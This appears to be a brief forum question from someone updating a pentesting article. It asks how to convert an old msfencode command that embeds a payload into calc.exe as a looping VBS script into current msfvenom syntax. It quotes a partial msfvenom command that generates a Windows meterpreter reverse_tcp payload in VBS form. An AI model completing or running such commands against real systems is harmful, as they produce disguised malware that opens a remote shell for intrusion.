I'm updating a small article that is out of date, but I don't know a lot about pentesting.
The framework is
mfsvenom and the code is:
msfencode -x calc.exe -t loop-vbs -o final.vbs
Before it was used
msfpayload but now is out of date. I tried:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=localhost LPORT=number -f vbs ...
It's only because some user asked me about one article of pentesting if it was possible to do with
msfvenom. But I don't know how to update it correctly.